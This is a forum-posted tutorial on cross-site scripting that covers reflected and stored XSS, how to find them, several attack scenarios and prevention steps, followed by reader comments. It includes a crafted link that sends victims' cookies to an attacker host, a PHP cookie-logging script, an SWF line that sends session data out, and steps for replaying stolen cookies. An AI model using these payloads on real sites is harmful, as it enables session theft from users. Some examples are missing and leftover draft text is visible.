Practical Applications of XSS

Practical Applications of Cross Site Scripting (XSS)

Prerequisites

Throughout this paper, many scripting languages will be used to provide proof-of-concept and other examples for the benefit of the reader. A basic understanding of these languages is required in order to completely understand the concepts that are conveyed herein; that being said, a lack of knowledge in these areas should not deter you from reading on. The information contained within this document can, at least, provide you with a basic understanding of impacts of XSS attacks.

here is some  
code  
is it all on one line?  

Terms of Use

By reading this document, you agree to the following terms:
I. I honestly could care less what you do with this info, but for my legal sanity, don’t do anything illegal.

II. You will hold neither this paper’s author nor its distributors liable for any actions taken that pertain to the information addressed in this document.

Introduction

Definition

Cross site scripting, commonly known by its acronym, XSS, is a type of computer security vulnerability that involves the injection of code into web pages by means of web applications. During the execution of an XSS attack, information from one entity, where it is not trusted, is transferred to another entity, where it is trusted. The transferred information may be comprised of session data, sensitive page content, compromising user data, or a variety of other objects.

History

Cross site scripting has existed since Netscape introduced the JavaScript language in the early 1990s. In fact, Netscape was at least moderately aware of the security risks associated with allowing a web server to send executable code to a browser (even if only in a browser sandbox). In some instances, a script from one page should be allowed to access data from another page or object, but in others, this should be strictly forbidden, as a malicious website could attempt to steal sensitive information this way. For this reason, the Same Origin Policy was introduced.

Same Origin Policy

Essentially, the Same Origin Policy allows any interaction between objects and pages, as long as those objects and/or pages are using the same domain name, application layer protocol, and, in most browsers, TCP port of the web page running the script. This way, a malicious website wouldn’t be able to access sensitive data in another browser.

Since the implementation of the Same Origin Policy, other access control policies have been integrated within browsers and client-side scripting languages to protect users from malicious attacks. Cross Site Scripting holes can be seen as vulnerabilities that allow attackers to bypass these mechanisms.

First Order

This vulnerability arises when data is submitted to a web application by a user, then stored nonpersistently, and later reflected back and displayed to the user who issued the request. Typically, the application accepts a parameter containing user-supplied data and simply renders that data back to the user in its response without proper filtration or sanitization.

First Order XSS bugs account for approximately 75% of all Cross Site Scripting vulnerabilities encountered on the internet. The term First Order XSS is used because this type of attack introduces a payload that is delivered and executed by means of a single request and response.

Discovery

The most effective approach to detecting first order XSS vulnerabilities is as follows:
Choose a web application target

  1. Create a unique arbitrary string that does not appear similar to any data on the web site of the web application target. The string you decide to use should only contain alphabetic characters, to avoid any existing filtration and sanitization methods.
  2. Submit the string to the application in each parameter individually, until every parameter has been targeted.
    3, Review the application’s response to each request and annotate any instances of the arbitrary string that were returned.
  3. Use the methods described in the next sections to test for Cross Site Scripting vulnerabilities in the parameters that correspond to the instances you recorded.
  4. Repeat steps one through five to test other applications on the target web site.

Exploitation

The purpose of this sub-section is to provide an aid in understanding Cross Site Scripting exploitation through real-world examples of XSS attacks. Each of the examples below is designed to emulate a commonly encountered attack scenario on the web.

Virtual Defacement

This type of First Order XSS attack involves injecting a maliciously crafted string into a vulnerable application, which has the ability to alter the contents of a page on the client-side, creating a virtual mask over the actual contents that the server sends to the browser

Virtual Defacement attacks usually require users to take some sort of action. This may simply involve clicking a link that injects malicious data into a page of a target website, or visiting a malicious website that redirects visitors to a target website, sending nefarious code with the request.

Example No. One

Target - http://www.fakenationalnews.com/
Intention - Mass Hysteria/Panic

In society, we are constantly flooded with images and messages from the media. This includes, but is not limited to, movies, books, television, newspapers, advertisements and the internet. The topics presented by the media have a substantial influence on how we live our lives. This makes Virtual Defacement a very powerful and imaginably desolating tool. What would happen if a person with villainous intentions found a means to change the content displayed by a popular news website to comply with those villainous intentions. The affects of his doing so could cause people to panic, and could even generate consequences that would take years to
repair.

An attacker could:

  • Set up a website that contains information on the devious topic of his choosing along with crafted reference links to the Fake National News website.
  • Send an email out that contains information on the topic and a link to the Fake National News.
  • Post the link on a widely used forum.

The link to the news website could be manipulated to incorporate XSS attacks designed to allow the attacker to virtually deface the website. Upon clicking the link, the code would be sent as a request to a vulnerable application on the Fake National News server.

The source of the iframe is directed to a page on the attacker’s website, which is an altered version of the content found on the actual news site. The iframe would cover the entire Fake National News website, so any viewing users would be reading the nefarious content that was set up by the attacker.

An image tag is used to inject JavaScript that would temporarily (nonpersistently) rewrite the site content that the user requested to view. An example of the fake site content is as follows:

Example No. Two

Target - http://www.fakestockstrading.com/
Intention - Financial Gain and Mass Hysteria

In addition to causing mass panic, an attacker could also use a Virtual Defacement attack payload for financial gain. Causing a user to visit a stock trading website that has been virtually defaced might cause that user to make a poor decision that would benefit the attacker, such as selling stocks when it would be more appropriate to buy more of the same stock. The attacker may have crafted code to show an exponential decline in stock value, causing other users to sell their stocks at low prices, and then could purchase them himself at a much lower rate than the rate originally set.

Session Hijacking

This XSS attack is more commonly used by attackers than any other type of XSS exploitation technique. It involves injecting specifically constructed code that enables an attacker to request user session data via a vulnerable application. The injected code then issues a response, passing the requested data to an external malicious website to be logged.

Depending on the target website, the target application, the target audience of users, and an assortment of other factors, minor to moderate levels of social engineering are required to successfully execute this type of attack. The tactics used range from posting manipulated external links along with controversial information on public discussion forums, drawing out curious netizens, to creating elaborate email scams that appear to come from a trusted source.

Example No. One

Target - http://www.fakebank.com
Intention - Financial Gain

An attacker set up a website that contains legitimate financial advice and an array of links to different financial institutions. The links to each and every financial institution were manipulated to incorporate XSS attacks designed to allow the attacker to hijack the sessions of users who are susceptible to attack. Upon clicking a link, the following code will be sent as a request to a vulnerable application on http://www.fakebank.com. The iframe is one pixel by one pixel in size, so the probability of users finding out that their sessions are being hijacked is less than it would be if one was to use a JavaScript redirect, for example. Below is an example of a maliciously
crafted link.

<a href='http://www.fakebank.com/viewaccountinfo.php?info=><iframe width=1 height=1 scrolling=no  

src=‘http://www.attackerhost.com/cookielogger.php?cookie=’+unescape(document.cookie)>‘>FakeBank
Online

Upon clicking the link, the user’s cookie would be transferred, through the iframe, to an external script on http://www.attackerhost.com. The external script would then write the cookie to a log file for later use. An example of a functional cookie-logging script is as follows:

<?php  
    $filename = 'logfile.txt';  
    if (is_writable($filename)) {  
        if (!$handle = fopen($filename, 'a')) {  
            echo "Cannot open file ($filename)";  
            exit;  
        }  
        if (fwrite($handle, $cookie) === FALSE) {  
            echo "Cannot write to file ($filename)";  
            exit;  
        }  
        echo "Success, wrote the information to the log file";  
        fclose($handle);  
    } else {  
        echo "The file is not writable";  
    }  
?>  

After a cookie is obtained, the attacker can use an application that is capable of sending http requests to hijack the corresponding user’s session. Three available applications for sending http requests are Firefox (Using the LivehttpHeaders Extension), Proxomitron, and BurpSuite. I will explain how to do this with two of the mentioned applications.

Instructions for Cookie Alteration in Firefox with LiveHttpHeaders

  1. Install the LivehttpHeaders extension and restart your browser.
  2. Click Tools>>LivehttpHeaders and visit the website that you got the cookie from
  3. Highlight the main script request and click the replay button
  4. Replace the current cookie information with your cached information. (Cookie:)

Inducing User Actions

Although session hijacking accounts for the majority of First Order XSS Attack scenarios on the web, it is not always the most efficient attack type.

Inducing user actions through Request Forgery is an alternative to session hijacking, frequently utilized by attackers when stealth in an emphasized concern. Request Forgery allows an attacker to completely bypass authentication mechanisms, exploiting an active client/server trust relationship to cause a user to carry out malicious actions via the target application. In summation, this attack type establishes a proxy-like relationship between the attacker and the user.

Prevention

Prevention methods for Cross Site Scripting have been under development since the discovery of the attack; however, that development has yielded little success until recent years. The most successful approach to-date used to prevent XSS is as follows:

  1. Choose a target application.
  2. Isolate every function within the application by which user-controlled data is returned in the application’s response.
  3. Validate all user supplied input by ensuring that all submitted data contains only permitted characters, and that the length of the data meets set requirements. A combination of these two methods and other preventative validations is most effective because it requires that the submitted data conforms to an established standard.
  4. Sanitize all application returned output by encoding all data that could be hazardous when displayed to users if left untouched. Encoding, or completely removing, all non-alphanumeric characters is the most reliable approach to sanitization.
  5. Repeat steps one through four to secure other web applications on the web site.

Second Order

This vulnerability arises when data is submitted to a web application by a user, then stored persistently on the server (typically in a back-end database or file system), and later displayed to other users on a web page without being properly filtered or sanitized.

Because second order XSS attacks involve specifically crafted malicious code that is first stored on the server, and then displayed to other users, the attack script is rendered more than once, enabling an attacker to affect multiple users with very little effort.

Discovery

The process of detecting second order XSS vulnerabilities is similar to the method discussed in the previous sections, which address the detection of First Order XSS vulnerabilities; however, in order to maximize the number of vulnerabilities identified, further investigation must be done.

  1. Follow the steps in section 0x211. Monitor the application’s responses for instances in which the submitted data is stored persistently on the server and then returned to the browser.
  2. Check file upload, file transfer, and file creation scripts for vulnerabilities. Frequently, these types of applications do not contain functions to validate and sanitize file contents, leaving them open to a wide array of attacks.
  3. Check scripts that handle statistics and error logs to see if manipulating their output is possible.
  4. Use XSS in combination with other computer security exploits to check for other avenues of attack.
  5. Check everything else! Twice!

Exploitation

The purpose of this sub-section is to provide an aid in understanding Cross Site Scripting exploitation through real-world examples of XSS attacks. Each of the examples below is designed to emulate a commonly encountered attack scenario on the web.

XSS Virii

As mentioned previously within this document, First Order XSS Request Forgery allows an attacker to leverage a Cross Site Scripting attack payload to cause a user to issue requests against a target application; however, the non-persistent nature of First Order XSS leaves the most potentially devastating implications of this attack type completely untapped.

One of the major drawbacks of the First Order version of this attack is that the introduced attack payload is delivered and executed by means of a single request and response, affecting a maximum of one user at a time. Second Order Request Forgery XSS harnesses the power to manipulate the actions of, potentially, an unlimited amount of users in an exponentiallydamaging, proxy-chain-like array of requests to a vulnerable web application.

Example No. One

The Samy worm was a self-propagating cross-site scripting worm developed to propagate across the MySpace social-networking site. The worm was released on October 4, 2005, and in less than 20 hours, infected over one million MySpace users.

The process of how the Samy worm worked, according to its creator, is as follows:

  • A maliciously crafted JavaScript code was first placed in the profile of a single user - in this case, Samy was that user.
  • Upon viewing the MySpace profile that contains the worm, the malicious code was automatically executed. The code would edit the profile of all viewing users, adding Samy as a friend and appending him as a hero. The method used to do this required multiple
    requests (GETs and POSTs) to the server via Asynchronous JavaScript and XML (Ajax). By running these background requests, the script was able to completely bypass the need for user actions (User Requests, Confirmations, etc.).
  • The most dangerous attribute of the code is that it was self-replicating. Upon execution of the code, it was copied and assigned to its own variable, obfuscated to avoid filters, and then sent as its own request to the server. The issued request would trigger the server to
    add the script to the profile of the viewing user(s).
  • The entire process would start over whenever the profiles of the newly infected users were viewed.

The Samy virus became one of the fastest spreading viruses of all time, and Samy became one of the most popular MySpace users of all time. The spreading of the virus was so rapid that it actually created a denial-of-service attack, because of the exponential growth of the Samy’s friends list.

Bugging File Handlers

Frequently, file handling application do not contain functions to validate and sanitize file contents, leaving them defenseless against Second Order XSS.

This type of attack differs from all of the attacks previously mentioned in that malicious code is not injected directly into a web page; instead, the attack is launched via a separate file that contains malicious code, which is introduced by an attacker.

Example No. One

Target: http://www.fakeelectronicart.com
Intention: Financial Gain

An attacker submitted a piece of art, created using an SWF design tool, to the Fake Electronic Art website. The site allows users to display their art as well as auction it off. The art that the attacker submitted contains the following script, which runs undetected in the background:

getURL("javascript:location='http://www.externalhost.com/cookielogger.php?  
cookie='+document.cookie")  

This script sends user session data to a script on a remote server. The external script would then write the data to a log file for later use.

Prevention

Prevention methods for Second Order XSS are more complex than those of the First Order category because Second Order attack vectors are more diverse; however, the fundamental defensive measures are the same. To prevent Second Order XSS, try the following:

  1. Be sure to validate user supplied data and to sanitize application responses that correspond to items that are stored persistently on the server.
  2. Check file upload, file transfer, and file creation scripts for vulnerabilities. If vulnerabilities exist, validate file headers and footers of permitted file types.
  3. Validate HTTP headers
  4. Sanitize all log files by purging hazardous characters.
  5. Check everything else! Twice!

Hope you learned something from this article!

8 Likes

Compliments on a great article!

Are there a couple of sample blocks missing?

2 Likes

Thank you! I was going to put those in and forgot to take out the transition phrases, will do that now. Thanks!

Great article!

My friend told me about a website that has second order XSS long time ago and that was great experience. I meant this kind of vuln is hard to find. It is so great because you mentioned it in the article.

P/s: to anybody want to practice XSS legally, pentesterlab XSS is really good for basic:
https://pentesterlab.com/exercises/xss_and_mysql_file/course